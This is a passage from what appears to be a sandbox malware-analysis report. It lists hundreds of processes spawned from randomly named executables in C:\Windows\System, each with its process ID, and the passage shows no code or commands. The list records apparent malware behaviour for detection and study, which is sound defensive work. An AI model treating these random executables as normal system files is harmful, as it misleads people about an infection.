  2⤵
  PID:13188
- C:\Windows\System\EYNIZIH.exe
  C:\Windows\System\EYNIZIH.exe
  2⤵
  PID:13220
- C:\Windows\System\aMeSblp.exe
  C:\Windows\System\aMeSblp.exe
  2⤵
  PID:13268
- C:\Windows\System\WnHPJds.exe
  C:\Windows\System\WnHPJds.exe
  2⤵
  PID:13288
- C:\Windows\System\ftxdVeT.exe
  C:\Windows\System\ftxdVeT.exe
  2⤵
  PID:13304
- C:\Windows\System\FEbaImx.exe
  C:\Windows\System\FEbaImx.exe
  2⤵
  PID:11496
- C:\Windows\System\ALvDRyX.exe
  C:\Windows\System\ALvDRyX.exe
  2⤵
  PID:11800
- C:\Windows\System\dgmKltj.exe
  C:\Windows\System\dgmKltj.exe
  2⤵
  PID:12336
- C:\Windows\System\HnoifXK.exe
  C:\Windows\System\HnoifXK.exe
  2⤵
  PID:12424
- C:\Windows\System\UMSyoQd.exe
  C:\Windows\System\UMSyoQd.exe
  2⤵
  PID:12496
- C:\Windows\System\LUrOIEP.exe
  C:\Windows\System\LUrOIEP.exe
  2⤵
  PID:12544
- C:\Windows\System\kpUfmiU.exe
  C:\Windows\System\kpUfmiU.exe
  2⤵
  PID:6672
- C:\Windows\System\xzsmmoj.exe
  C:\Windows\System\xzsmmoj.exe
  2⤵
  PID:392
- C:\Windows\System\nZSGmeB.exe
  C:\Windows\System\nZSGmeB.exe
  2⤵
  PID:12624
- C:\Windows\System\CScFVja.exe
  C:\Windows\System\CScFVja.exe
  2⤵
  PID:12768
- C:\Windows\System\VJdNpSW.exe
  C:\Windows\System\VJdNpSW.exe
  2⤵
  PID:12832
- C:\Windows\System\NeEEjQD.exe
  C:\Windows\System\NeEEjQD.exe
  2⤵
  PID:12840
- C:\Windows\System\OEWRamC.exe
  C:\Windows\System\OEWRamC.exe
  2⤵
  PID:12896
- C:\Windows\System\NMTbFRU.exe
  C:\Windows\System\NMTbFRU.exe
  2⤵
  PID:12948
- C:\Windows\System\vQChKDO.exe
  C:\Windows\System\vQChKDO.exe
  2⤵
  PID:12996
- C:\Windows\System\QXiJJJX.exe
  C:\Windows\System\QXiJJJX.exe
  2⤵
  PID:13076
- C:\Windows\System\fBdGuom.exe
  C:\Windows\System\fBdGuom.exe
  2⤵
  PID:13184
- C:\Windows\System\VamLkud.exe
  C:\Windows\System\VamLkud.exe
  2⤵
  PID:4312
- C:\Windows\System\xeFBNFS.exe
  C:\Windows\System\xeFBNFS.exe
  2⤵
  PID:11984
- C:\Windows\System\yEfgPlF.exe
  C:\Windows\System\yEfgPlF.exe
  2⤵
  PID:11468
- C:\Windows\System\PuJRwgO.exe
  C:\Windows\System\PuJRwgO.exe
  2⤵
  PID:12756
- C:\Windows\System\NfTnqhA.exe
  C:\Windows\System\NfTnqhA.exe
  2⤵
  PID:12812
- C:\Windows\System\dOFVtDr.exe
  C:\Windows\System\dOFVtDr.exe
  2⤵
  PID:12212
- C:\Windows\System\oNeVnUr.exe
  C:\Windows\System\oNeVnUr.exe
  2⤵
  PID:12716
- C:\Windows\System\QwmVbUY.exe
  C:\Windows\System\QwmVbUY.exe
  2⤵
  PID:12836
- C:\Windows\System\JBxzqRh.exe
  C:\Windows\System\JBxzqRh.exe
  2⤵
  PID:3092
- C:\Windows\System\wMLzJcH.exe
  C:\Windows\System\wMLzJcH.exe
  2⤵
  PID:13212
- C:\Windows\System\MLjoTyG.exe
  C:\Windows\System\MLjoTyG.exe
  2⤵
  PID:13020
- C:\Windows\System\khMfWfu.exe
  C:\Windows\System\khMfWfu.exe
  2⤵
  PID:13264
- C:\Windows\System\oJoHQbr.exe
  C:\Windows\System\oJoHQbr.exe
  2⤵
  PID:212
- C:\Windows\System\klHZmLj.exe
  C:\Windows\System\klHZmLj.exe
  2⤵
  PID:1080
- C:\Windows\System\jppXnDY.exe
  C:\Windows\System\jppXnDY.exe
  2⤵
  PID:2960
- C:\Windows\System\FytMEJz.exe
  C:\Windows\System\FytMEJz.exe
  2⤵
  PID:12968
- C:\Windows\System\SfGDZdJ.exe
  C:\Windows\System\SfGDZdJ.exe
  2⤵
  PID:12992
- C:\Windows\System\yaSoSVD.exe
  C:\Windows\System\yaSoSVD.exe
  2⤵
  PID:2560
- C:\Windows\System\dtsbKtq.exe
  C:\Windows\System\dtsbKtq.exe
  2⤵
  PID:3096
- C:\Windows\System\jeeyAen.exe
  C:\Windows\System\jeeyAen.exe
  2⤵
  PID:12568
- C:\Windows\System\qGSNNPE.exe
  C:\Windows\System\qGSNNPE.exe
  2⤵
  PID:4000
- C:\Windows\System\xsSJptU.exe
  C:\Windows\System\xsSJptU.exe
  2⤵
  PID:11960
- C:\Windows\System\wHUVRES.exe
  C:\Windows\System\wHUVRES.exe
  2⤵
  PID:13244
- C:\Windows\System\yOxwpYL.exe
  C:\Windows\System\yOxwpYL.exe
  2⤵
  PID:5984
- C:\Windows\System\faGPmIN.exe
  C:\Windows\System\faGPmIN.exe
  2⤵
  PID:12420
- C:\Windows\System\jjVDGNp.exe
  C:\Windows\System\jjVDGNp.exe
  2⤵
  PID:1652
- C:\Windows\System\TEIYoGb.exe
  C:\Windows\System\TEIYoGb.exe
  2⤵
  PID:4492
- C:\Windows\System\duVCxti.exe
  C:\Windows\System\duVCxti.exe
  2⤵
  PID:2996
- C:\Windows\System\YoSYPvQ.exe
  C:\Windows\System\YoSYPvQ.exe
  2⤵
  PID:13340
- C:\Windows\System\VpHbgdm.exe
  C:\Windows\System\VpHbgdm.exe
  2⤵
  PID:13380
- C:\Windows\System\haeFUpO.exe
  C:\Windows\System\haeFUpO.exe
  2⤵
  PID:13400
- C:\Windows\System\HmELYxX.exe
  C:\Windows\System\HmELYxX.exe
  2⤵
  PID:13416
- C:\Windows\System\ysGbhUn.exe
  C:\Windows\System\ysGbhUn.exe
  2⤵
  PID:13440
- C:\Windows\System\RMUbRdK.exe
  C:\Windows\System\RMUbRdK.exe
  2⤵
  PID:13456
- C:\Windows\System\luXihBZ.exe
  C:\Windows\System\luXihBZ.exe
  2⤵
  PID:13472
- C:\Windows\System\EDBkOdp.exe
  C:\Windows\System\EDBkOdp.exe
  2⤵
  PID:13488
- C:\Windows\System\tZjViNd.exe
  C:\Windows\System\tZjViNd.exe
  2⤵
  PID:13504
- C:\Windows\System\lxWezZR.exe
  C:\Windows\System\lxWezZR.exe
  2⤵
  PID:13520
- C:\Windows\System\dPvEOfa.exe
  C:\Windows\System\dPvEOfa.exe
  2⤵
  PID:13536
- C:\Windows\System\RGTKLnj.exe
  C:\Windows\System\RGTKLnj.exe
  2⤵
  PID:13556
- C:\Windows\System\XATCzWm.exe
  C:\Windows\System\XATCzWm.exe
  2⤵
  PID:13576
- C:\Windows\System\gUHLXjR.exe
  C:\Windows\System\gUHLXjR.exe
  2⤵
  PID:13592
- C:\Windows\System\WwPIVCx.exe
  C:\Windows\System\WwPIVCx.exe
  2⤵
  PID:13608
- C:\Windows\System\BTqurdG.exe
  C:\Windows\System\BTqurdG.exe
  2⤵
  PID:13624
- C:\Windows\System\fOFMnzo.exe
  C:\Windows\System\fOFMnzo.exe
  2⤵
  PID:13640
- C:\Windows\System\UbRJOzt.exe
  C:\Windows\System\UbRJOzt.exe
  2⤵
  PID:13660
- C:\Windows\System\aRaZJGj.exe
  C:\Windows\System\aRaZJGj.exe
  2⤵
  PID:13676
- C:\Windows\System\sybNELv.exe
  C:\Windows\System\sybNELv.exe
  2⤵
  PID:13692
- C:\Windows\System\RNCOJGO.exe
  C:\Windows\System\RNCOJGO.exe
  2⤵
  PID:13708
- C:\Windows\System\brFOSgG.exe
  C:\Windows\System\brFOSgG.exe
  2⤵
  PID:13724
- C:\Windows\System\tDYVhUW.exe
  C:\Windows\System\tDYVhUW.exe
  2⤵
  PID:13740
- C:\Windows\System\jHGXXfp.exe
  C:\Windows\System\jHGXXfp.exe
  2⤵
  PID:13756
- C:\Windows\System\ykKXZhX.exe
  C:\Windows\System\ykKXZhX.exe
  2⤵
  PID:13772
- C:\Windows\System\KkuILJc.exe
  C:\Windows\System\KkuILJc.exe
  2⤵
  PID:13788
- C:\Windows\System\GpvfDnn.exe
  C:\Windows\System\GpvfDnn.exe
  2⤵
  PID:13804
- C:\Windows\System\fenXfwM.exe
  C:\Windows\System\fenXfwM.exe
  2⤵
  PID:13820
- C:\Windows\System\NOzghAc.exe
  C:\Windows\System\NOzghAc.exe
  2⤵
  PID:13836
- C:\Windows\System\jMzTaAG.exe
  C:\Windows\System\jMzTaAG.exe
  2⤵
  PID:13852
- C:\Windows\System\TXTpVsc.exe
  C:\Windows\System\TXTpVsc.exe
  2⤵
  PID:13868
- C:\Windows\System\JmNThMS.exe
  C:\Windows\System\JmNThMS.exe
  2⤵
  PID:13884
- C:\Windows\System\luGWCwl.exe
  C:\Windows\System\luGWCwl.exe
  2⤵
  PID:13900
- C:\Windows\System\sZKYnkx.exe
  C:\Windows\System\sZKYnkx.exe
  2⤵
  PID:13916
- C:\Windows\System\GvoRbej.exe
  C:\Windows\System\GvoRbej.exe
  2⤵
  PID:13932
- C:\Windows\System\QqVRpaI.exe
  C:\Windows\System\QqVRpaI.exe
  2⤵
  PID:13948
- C:\Windows\System\sMSZrZL.exe
  C:\Windows\System\sMSZrZL.exe
  2⤵
  PID:13964
- C:\Windows\System\xbotPBc.exe
  C:\Windows\System\xbotPBc.exe
  2⤵
  PID:13980
- C:\Windows\System\TtFZoHt.exe
  C:\Windows\System\TtFZoHt.exe
  2⤵
  PID:14000
- C:\Windows\System\JfdHxSg.exe
  C:\Windows\System\JfdHxSg.exe
  2⤵
  PID:14016
- C:\Windows\System\xVXRZYI.exe
  C:\Windows\System\xVXRZYI.exe
  2⤵
  PID:14032
- C:\Windows\System\oWdGFLM.exe
  C:\Windows\System\oWdGFLM.exe
  2⤵
  PID:14064
- C:\Windows\System\lQwbxXA.exe
  C:\Windows\System\lQwbxXA.exe
  2⤵
  PID:14080
- C:\Windows\System\lMllggV.exe
  C:\Windows\System\lMllggV.exe
  2⤵
  PID:14096
- C:\Windows\System\vMAYwxe.exe
  C:\Windows\System\vMAYwxe.exe
  2⤵
  PID:14112
- C:\Windows\System\yxWtoAc.exe
  C:\Windows\System\yxWtoAc.exe
  2⤵
  PID:14128
- C:\Windows\System\ZVqiiDj.exe
  C:\Windows\System\ZVqiiDj.exe
  2⤵
  PID:14144
- C:\Windows\System\cOghyBZ.exe
  C:\Windows\System\cOghyBZ.exe
  2⤵
  PID:14160
- C:\Windows\System\GxbXTNk.exe
  C:\Windows\System\GxbXTNk.exe
  2⤵
  PID:14176
- C:\Windows\System\lrcvnFq.exe
  C:\Windows\System\lrcvnFq.exe
  2⤵
  PID:14192
- C:\Windows\System\WKxxgpr.exe
  C:\Windows\System\WKxxgpr.exe
  2⤵
  PID:14208
- C:\Windows\System\ZCBMdkJ.exe
  C:\Windows\System\ZCBMdkJ.exe
  2⤵
  PID:14224
- C:\Windows\System\peSnhvO.exe
  C:\Windows\System\peSnhvO.exe
  2⤵
  PID:14240
- C:\Windows\System\fTKEssR.exe
  C:\Windows\System\fTKEssR.exe
  2⤵
  PID:14256
- C:\Windows\System\BnBumSn.exe
  C:\Windows\System\BnBumSn.exe
  2⤵
  PID:14272
- C:\Windows\System\tLOPjGa.exe
  C:\Windows\System\tLOPjGa.exe
  2⤵
  PID:14288
- C:\Windows\System\KuBjDkn.exe
  C:\Windows\System\KuBjDkn.exe
  2⤵
  PID:14304
- C:\Windows\System\FxJBQty.exe
  C:\Windows\System\FxJBQty.exe
  2⤵
  PID:14320
- C:\Windows\System\pdCgDFV.exe
  C:\Windows\System\pdCgDFV.exe
  2⤵
  PID:2452
- C:\Windows\System\cTCToWc.exe
  C:\Windows\System\cTCToWc.exe
  2⤵
  PID:13324
- C:\Windows\System\rRKprko.exe
  C:\Windows\System\rRKprko.exe
  2⤵
  PID:3476
- C:\Windows\System\RkRyvqS.exe
  C:\Windows\System\RkRyvqS.exe
  2⤵
  PID:6948
- C:\Windows\System\XupymhJ.exe
  C:\Windows\System\XupymhJ.exe
  2⤵
  PID:1944
- C:\Windows\System\LOhOmmi.exe
  C:\Windows\System\LOhOmmi.exe
  2⤵
  PID:5768
- C:\Windows\System\FPTZGhi.exe
  C:\Windows\System\FPTZGhi.exe
  2⤵
  PID:13364
- C:\Windows\System\zEsOhba.exe
  C:\Windows\System\zEsOhba.exe
  2⤵
  PID:4716
- C:\Windows\System\hqpORpa.exe
  C:\Windows\System\hqpORpa.exe
  2⤵
  PID:13148
- C:\Windows\System\Bgseaqy.exe
  C:\Windows\System\Bgseaqy.exe
  2⤵
  PID:4600
- C:\Windows\System\RawjzCS.exe
  C:\Windows\System\RawjzCS.exe
  2⤵
  PID:5456
- C:\Windows\System\hsPqLIP.exe
  C:\Windows\System\hsPqLIP.exe
  2⤵
  PID:13392
- C:\Windows\System\lkOVTug.exe
  C:\Windows\System\lkOVTug.exe
  2⤵
  PID:13432
- C:\Windows\System\FcSjbVH.exe
  C:\Windows\System\FcSjbVH.exe
  2⤵
  PID:13332
- C:\Windows\System\foHApiX.exe
  C:\Windows\System\foHApiX.exe
  2⤵
  PID:13360
- C:\Windows\System\xqQiVMH.exe
  C:\Windows\System\xqQiVMH.exe
  2⤵
  PID:4808
- C:\Windows\System\TAdPZPu.exe
  C:\Windows\System\TAdPZPu.exe
  2⤵
  PID:2852
- C:\Windows\System\vCWJZtx.exe
  C:\Windows\System\vCWJZtx.exe
  2⤵
  PID:13516
- C:\Windows\System\KttcyhR.exe
  C:\Windows\System\KttcyhR.exe
  2⤵
  PID:13552
- C:\Windows\System\nrLRYun.exe
  C:\Windows\System\nrLRYun.exe
  2⤵
  PID:13588
- C:\Windows\System\vDSDTat.exe
  C:\Windows\System\vDSDTat.exe
  2⤵
  PID:13636
- C:\Windows\System\TjlsTHa.exe
  C:\Windows\System\TjlsTHa.exe
  2⤵
  PID:13688
- C:\Windows\System\SHLSjVN.exe
  C:\Windows\System\SHLSjVN.exe
  2⤵
  PID:13732
- C:\Windows\System\BQcAVcd.exe
  C:\Windows\System\BQcAVcd.exe
  2⤵
  PID:13796
- C:\Windows\System\RwiHPqj.exe
  C:\Windows\System\RwiHPqj.exe
  2⤵
  PID:13828
- C:\Windows\System\QcLFnSf.exe
  C:\Windows\System\QcLFnSf.exe
  2⤵
  PID:5764
- C:\Windows\System\yERpoFQ.exe
  C:\Windows\System\yERpoFQ.exe
  2⤵
  PID:13848
- C:\Windows\System\OUzSfUT.exe
  C:\Windows\System\OUzSfUT.exe
  2⤵
  PID:13896
- C:\Windows\System\kqImwyU.exe
  C:\Windows\System\kqImwyU.exe
  2⤵
  PID:13944
- C:\Windows\System\WdWgvtR.exe
  C:\Windows\System\WdWgvtR.exe
  2⤵
  PID:14024
- C:\Windows\System\NUxlTcL.exe
  C:\Windows\System\NUxlTcL.exe
  2⤵
  PID:14060
- C:\Windows\System\NOcPChl.exe
  C:\Windows\System\NOcPChl.exe
  2⤵
  PID:6896
- C:\Windows\System\ZRAYwZP.exe
  C:\Windows\System\ZRAYwZP.exe
  2⤵
  PID:6824
- C:\Windows\System\hTRImtq.exe
  C:\Windows\System\hTRImtq.exe
  2⤵
  PID:6648
- C:\Windows\System\syvcbix.exe
  C:\Windows\System\syvcbix.exe
  2⤵
  PID:7200
- C:\Windows\System\qzCeKcI.exe
  C:\Windows\System\qzCeKcI.exe
  2⤵
  PID:6592
- C:\Windows\System\dYwnWaD.exe
  C:\Windows\System\dYwnWaD.exe
  2⤵
  PID:4864
- C:\Windows\System\ZOQBAqz.exe
  C:\Windows\System\ZOQBAqz.exe
  2⤵
  PID:7656
- C:\Windows\System\qMUMTFs.exe
  C:\Windows\System\qMUMTFs.exe
  2⤵
  PID:7752
- C:\Windows\System\nYouzSA.exe
  C:\Windows\System\nYouzSA.exe
  2⤵
  PID:7860
- C:\Windows\System\zqmmBVT.exe
  C:\Windows\System\zqmmBVT.exe
  2⤵
  PID:7940
- C:\Windows\System\ATiAjLZ.exe
  C:\Windows\System\ATiAjLZ.exe
  2⤵
  PID:7932
- C:\Windows\System\igroGxn.exe
  C:\Windows\System\igroGxn.exe
  2⤵
  PID:7992
- C:\Windows\System\RKBlzSI.exe
  C:\Windows\System\RKBlzSI.exe
  2⤵
  PID:8036
- C:\Windows\System\GiSDAho.exe
  C:\Windows\System\GiSDAho.exe
  2⤵
  PID:8092
- C:\Windows\System\QGcvpco.exe
  C:\Windows\System\QGcvpco.exe
  2⤵
  PID:8180
- C:\Windows\System\xFSsIfe.exe
  C:\Windows\System\xFSsIfe.exe
  2⤵
  PID:7236
- C:\Windows\System\mxjoaZD.exe
  C:\Windows\System\mxjoaZD.exe
  2⤵
  PID:13300
- C:\Windows\System\gFCqsQS.exe
  C:\Windows\System\gFCqsQS.exe
  2⤵
  PID:7344
- C:\Windows\System\CioAaQd.exe
  C:\Windows\System\CioAaQd.exe
  2⤵
  PID:3176
- C:\Windows\System\AsuwvST.exe
  C:\Windows\System\AsuwvST.exe
  2⤵
  PID:7520
- C:\Windows\System\kfJLbUr.exe
  C:\Windows\System\kfJLbUr.exe
  2⤵
  PID:13584
- C:\Windows\System\LWmSoWm.exe
  C:\Windows\System\LWmSoWm.exe
  2⤵
  PID:13604
- C:\Windows\System\pvCdKIJ.exe
  C:\Windows\System\pvCdKIJ.exe
  2⤵
  PID:7300
- C:\Windows\System\dejINRU.exe
  C:\Windows\System\dejINRU.exe
  2⤵
  PID:7680
- C:\Windows\System\SSvraCb.exe
  C:\Windows\System\SSvraCb.exe
  2⤵
  PID:952
- C:\Windows\System\JOcraaF.exe
  C:\Windows\System\JOcraaF.exe
  2⤵
  PID:7844
- C:\Windows\System\KeZjerO.exe
  C:\Windows\System\KeZjerO.exe
  2⤵
  PID:8216
- C:\Windows\System\NLEbLLS.exe
  C:\Windows\System\NLEbLLS.exe
  2⤵
  PID:13768
- C:\Windows\System\AQJQQQh.exe
  C:\Windows\System\AQJQQQh.exe
  2⤵
  PID:1436
- C:\Windows\System\NYkqjnY.exe
  C:\Windows\System\NYkqjnY.exe
  2⤵
  PID:8416
- C:\Windows\System\DowoqsF.exe
  C:\Windows\System\DowoqsF.exe
  2⤵
  PID:8476
- C:\Windows\System\NOPwdKK.exe
  C:\Windows\System\NOPwdKK.exe
  2⤵
  PID:3604
- C:\Windows\System\XgNLsAS.exe
  C:\Windows\System\XgNLsAS.exe
  2⤵
  PID:13892
- C:\Windows\System\FSXTYdX.exe
  C:\Windows\System\FSXTYdX.exe
  2⤵
  PID:4496
- C:\Windows\System\XUbHYmI.exe
  C:\Windows\System\XUbHYmI.exe
  2⤵
  PID:1656
- C:\Windows\System\RWxMuVh.exe
  C:\Windows\System\RWxMuVh.exe
  2⤵
  PID:8816
- C:\Windows\System\tbZlANT.exe
  C:\Windows\System\tbZlANT.exe
  2⤵
  PID:8916
- C:\Windows\System\qZDtoFn.exe
  C:\Windows\System\qZDtoFn.exe
  2⤵
  PID:13960
- C:\Windows\System\GUeIeTg.exe
  C:\Windows\System\GUeIeTg.exe
  2⤵
  PID:8988
- C:\Windows\System\aOYszmE.exe
  C:\Windows\System\aOYszmE.exe
  2⤵
  PID:1848
- C:\Windows\System\GMjRuDw.exe
  C:\Windows\System\GMjRuDw.exe
  2⤵
  PID:732
- C:\Windows\System\psocXyb.exe
  C:\Windows\System\psocXyb.exe
  2⤵
  PID:9112
- C:\Windows\System\JvumCxh.exe
  C:\Windows\System\JvumCxh.exe
  2⤵
  PID:14052
- C:\Windows\System\gpzjvca.exe
  C:\Windows\System\gpzjvca.exe
  2⤵
  PID:9184
- C:\Windows\System\fqBnHeZ.exe
  C:\Windows\System\fqBnHeZ.exe
  2⤵
  PID:8196
- C:\Windows\System\rBXOcDB.exe
  C:\Windows\System\rBXOcDB.exe
  2⤵
  PID:4720
- C:\Windows\System\ffKFFQC.exe
  C:\Windows\System\ffKFFQC.exe
  2⤵
  PID:1604
- C:\Windows\System\WqWYvIh.exe
  C:\Windows\System\WqWYvIh.exe
  2⤵
  PID:8552
- C:\Windows\System\FvRWqsw.exe
  C:\Windows\System\FvRWqsw.exe
  2⤵
  PID:6992
- C:\Windows\System\mInYWiF.exe
  C:\Windows\System\mInYWiF.exe
  2⤵
  PID:8576
- C:\Windows\System\ytjcMgW.exe
  C:\Windows\System\ytjcMgW.exe
  2⤵
  PID:9068
- C:\Windows\System\YGMzzyN.exe
  C:\Windows\System\YGMzzyN.exe
  2⤵
  PID:14220
- C:\Windows\System\svYOuHY.exe
  C:\Windows\System\svYOuHY.exe
  2⤵
  PID:14232
- C:\Windows\System\MiWXKcm.exe
  C:\Windows\System\MiWXKcm.exe
  2⤵
  PID:8912
- C:\Windows\System\HWdyRFI.exe
  C:\Windows\System\HWdyRFI.exe
  2⤵
  PID:9024
- C:\Windows\System\oHIVNjT.exe
  C:\Windows\System\oHIVNjT.exe
  2⤵
  PID:14248
- C:\Windows\System\TsFAnWs.exe
  C:\Windows\System\TsFAnWs.exe
  2⤵
  PID:3876
- C:\Windows\System\vueAYkS.exe
  C:\Windows\System\vueAYkS.exe
  2⤵
  PID:6492
- C:\Windows\System\uCrBpOB.exe
  C:\Windows\System\uCrBpOB.exe
  2⤵
  PID:6644
- C:\Windows\System\qcknQuf.exe
  C:\Windows\System\qcknQuf.exe
  2⤵
  PID:7124
- C:\Windows\System\SpBPNPA.exe
  C:\Windows\System\SpBPNPA.exe
  2⤵
  PID:6232
- C:\Windows\System\mkPcDFd.exe
  C:\Windows\System\mkPcDFd.exe
  2⤵
  PID:6380
- C:\Windows\System\EYGlJJE.exe
  C:\Windows\System\EYGlJJE.exe
  2⤵
  PID:4844
- C:\Windows\System\ruvNuWn.exe
  C:\Windows\System\ruvNuWn.exe
  2⤵
  PID:14316
- C:\Windows\System\RVALLpC.exe
  C:\Windows\System\RVALLpC.exe
  2⤵
  PID:14252
- C:\Windows\System\nlVvnkt.exe
  C:\Windows\System\nlVvnkt.exe
  2⤵
  PID:2792
- C:\Windows\System\beDxCYp.exe
  C:\Windows\System\beDxCYp.exe
  2⤵
  PID:3336
- C:\Windows\System\FOvPigV.exe
  C:\Windows\System\FOvPigV.exe
  2⤵
  PID:3364
- C:\Windows\System\YgIDSRF.exe
  C:\Windows\System\YgIDSRF.exe
  2⤵
  PID:7036
- C:\Windows\System\yjgrlZd.exe
  C:\Windows\System\yjgrlZd.exe
  2⤵
  PID:1592
- C:\Windows\System\xZnzIGm.exe
  C:\Windows\System\xZnzIGm.exe
  2⤵
  PID:1320
- C:\Windows\System\qybFjff.exe
  C:\Windows\System\qybFjff.exe
  2⤵
  PID:6544
- C:\Windows\System\MIwzwti.exe
  C:\Windows\System\MIwzwti.exe
  2⤵
  PID:3556
- C:\Windows\System\xQoKvRU.exe
  C:\Windows\System\xQoKvRU.exe
  2⤵
  PID:3712
- C:\Windows\System\VhKZORR.exe
  C:\Windows\System\VhKZORR.exe
  2⤵
  PID:6620
- C:\Windows\System\vvMBhYG.exe
  C:\Windows\System\vvMBhYG.exe
  2⤵
  PID:6872
- C:\Windows\System\oRkbAQd.exe
  C:\Windows\System\oRkbAQd.exe
  2⤵
  PID:2624
- C:\Windows\System\kUmPUtd.exe
  C:\Windows\System\kUmPUtd.exe
  2⤵
  PID:9876
- C:\Windows\System\ddUWaMj.exe
  C:\Windows\System\ddUWaMj.exe
  2⤵
  PID:2564
- C:\Windows\System\RRkvgVX.exe
  C:\Windows\System\RRkvgVX.exe
  2⤵
  PID:3700
- C:\Windows\System\hElhZIx.exe
  C:\Windows\System\hElhZIx.exe
  2⤵
  PID:9976
- C:\Windows\System\UwJabpU.exe
  C:\Windows\System\UwJabpU.exe
  2⤵
  PID:9984
- C:\Windows\System\KOqLUrY.exe
  C:\Windows\System\KOqLUrY.exe
  2⤵
  PID:4896
- C:\Windows\System\uUxSDjb.exe
  C:\Windows\System\uUxSDjb.exe
  2⤵
  PID:4568
- C:\Windows\System\HGvJqMT.exe
  C:\Windows\System\HGvJqMT.exe
  2⤵
  PID:2040
- C:\Windows\System\GyIeKGo.exe
  C:\Windows\System\GyIeKGo.exe
  2⤵
  PID:4032
- C:\Windows\System\cWLTyaS.exe
  C:\Windows\System\cWLTyaS.exe
  2⤵
  PID:5268
- C:\Windows\System\wYWmDUH.exe
  C:\Windows\System\wYWmDUH.exe
  2⤵
  PID:5856
- C:\Windows\System\haRKESY.exe
  C:\Windows\System\haRKESY.exe
  2⤵
  PID:13468
- C:\Windows\System\MGJMAdO.exe
  C:\Windows\System\MGJMAdO.exe
  2⤵
  PID:4560
- C:\Windows\System\gphinvo.exe
  C:\Windows\System\gphinvo.exe
  2⤵
  PID:1092
- C:\Windows\System\kuAWxsq.exe
  C:\Windows\System\kuAWxsq.exe
  2⤵
  PID:13356
- C:\Windows\System\PTBnXNu.exe
  C:\Windows\System\PTBnXNu.exe
  2⤵
  PID:1548
- C:\Windows\System\hcawpsi.exe
  C:\Windows\System\hcawpsi.exe
  2⤵
  PID:7256
- C:\Windows\System\LqZTwPO.exe
  C:\Windows\System\LqZTwPO.exe
  2⤵
  PID:13748
- C:\Windows\System\CnUcGRV.exe
  C:\Windows\System\CnUcGRV.exe
  2⤵
  PID:2728
- C:\Windows\System\vmdXhPP.exe
  C:\Windows\System\vmdXhPP.exe
  2⤵
  PID:2344
- C:\Windows\System\arkwLEP.exe
  C:\Windows\System\arkwLEP.exe
  2⤵
  PID:10120
- C:\Windows\System\wtyVlKE.exe
  C:\Windows\System\wtyVlKE.exe
  2⤵
  PID:7824
- C:\Windows\System\DbdsisT.exe
  C:\Windows\System\DbdsisT.exe
  2⤵
  PID:13720
- C:\Windows\System\ksZQPbY.exe
  C:\Windows\System\ksZQPbY.exe
  2⤵
  PID:13812
- C:\Windows\System\ckFdbuk.exe
  C:\Windows\System\ckFdbuk.exe
  2⤵
  PID:10904
- C:\Windows\System\qrfhXIr.exe
  C:\Windows\System\qrfhXIr.exe
  2⤵
  PID:5864
- C:\Windows\System\oZTVyhu.exe
  C:\Windows\System\oZTVyhu.exe
  2⤵
  PID:13880
- C:\Windows\System\HmVeptI.exe
  C:\Windows\System\HmVeptI.exe
  2⤵
  PID:8688
- C:\Windows\System\yAOXYxJ.exe
  C:\Windows\System\yAOXYxJ.exe
  2⤵
  PID:11096
- C:\Windows\System\lcmuOzP.exe
  C:\Windows\System\lcmuOzP.exe
  2⤵
  PID:8724
- C:\Windows\System\XaxVsWt.exe
  C:\Windows\System\XaxVsWt.exe
  2⤵
  PID:5896
- C:\Windows\System\dbQWVrY.exe
  C:\Windows\System\dbQWVrY.exe
  2⤵
  PID:14092
- C:\Windows\System\KwfvavY.exe
  C:\Windows\System\KwfvavY.exe
  2⤵
  PID:8880
- C:\Windows\System\DJVIHib.exe
  C:\Windows\System\DJVIHib.exe
  2⤵
  PID:1828
- C:\Windows\System\dGDAkCH.exe
  C:\Windows\System\dGDAkCH.exe
  2⤵
  PID:5964
- C:\Windows\System\pWrWQhy.exe
  C:\Windows\System\pWrWQhy.exe
  2⤵
  PID:6000
- C:\Windows\System\iImEYll.exe
  C:\Windows\System\iImEYll.exe
  2⤵
  PID:6036
- C:\Windows\System\dxGJsdQ.exe
  C:\Windows\System\dxGJsdQ.exe
  2⤵
  PID:14072
- C:\Windows\System\DfbQeCr.exe
  C:\Windows\System\DfbQeCr.exe
  2⤵
  PID:6092
- C:\Windows\System\eNyUoua.exe
  C:\Windows\System\eNyUoua.exe
  2⤵
  PID:6104
- C:\Windows\System\ukjJYak.exe
  C:\Windows\System\ukjJYak.exe
  2⤵
  PID:3644
- C:\Windows\System\zgtjiCt.exe
  C:\Windows\System\zgtjiCt.exe
  2⤵
  PID:1144
- C:\Windows\System\RakDnJZ.exe
  C:\Windows\System\RakDnJZ.exe
  2⤵
  PID:9196
- C:\Windows\System\fwfWWpB.exe
  C:\Windows\System\fwfWWpB.exe
  2⤵
  PID:10680
- C:\Windows\System\mcsAPMU.exe
  C:\Windows\System\mcsAPMU.exe
  2⤵
  PID:14236
- C:\Windows\System\WrteYFQ.exe
  C:\Windows\System\WrteYFQ.exe
  2⤵
  PID:6756
- C:\Windows\System\BpragsE.exe
  C:\Windows\System\BpragsE.exe
  2⤵
  PID:9020
- C:\Windows\System\SMXwGcg.exe
  C:\Windows\System\SMXwGcg.exe
  2⤵
  PID:2424
- C:\Windows\System\CcwRfrC.exe
  C:\Windows\System\CcwRfrC.exe
  2⤵
  PID:2904
- C:\Windows\System\szbwoFc.exe
  C:\Windows\System\szbwoFc.exe
  2⤵
  PID:2288
- C:\Windows\System\uQXLjQU.exe
  C:\Windows\System\uQXLjQU.exe
  2⤵
  PID:9040
- C:\Windows\System\vDguxxJ.exe
  C:\Windows\System\vDguxxJ.exe
  2⤵
  PID:5188
- C:\Windows\System\OXZwNWF.exe
  C:\Windows\System\OXZwNWF.exe
  2⤵
  PID:11672
- C:\Windows\System\PWoXagF.exe
  C:\Windows\System\PWoXagF.exe
  2⤵
  PID:14300
- C:\Windows\System\TJQmzOu.exe
  C:\Windows\System\TJQmzOu.exe
  2⤵
  PID:11780
- C:\Windows\System\pBSqLnw.exe
  C:\Windows\System\pBSqLnw.exe
  2⤵
  PID:1516
- C:\Windows\System\lhFQtDE.exe
  C:\Windows\System\lhFQtDE.exe
  2⤵
  PID:14204
- C:\Windows\System\NRLStRs.exe
  C:\Windows\System\NRLStRs.exe
  2⤵
  PID:6820
- C:\Windows\System\FDpmsGj.exe
  C:\Windows\System\FDpmsGj.exe
  2⤵
  PID:14264
- C:\Windows\System\klNoEss.exe
  C:\Windows\System\klNoEss.exe
  2⤵
  PID:2844
- C:\Windows\System\oBDAigc.exe
  C:\Windows\System\oBDAigc.exe
  2⤵
  PID:1004
- C:\Windows\System\uSJOsEx.exe
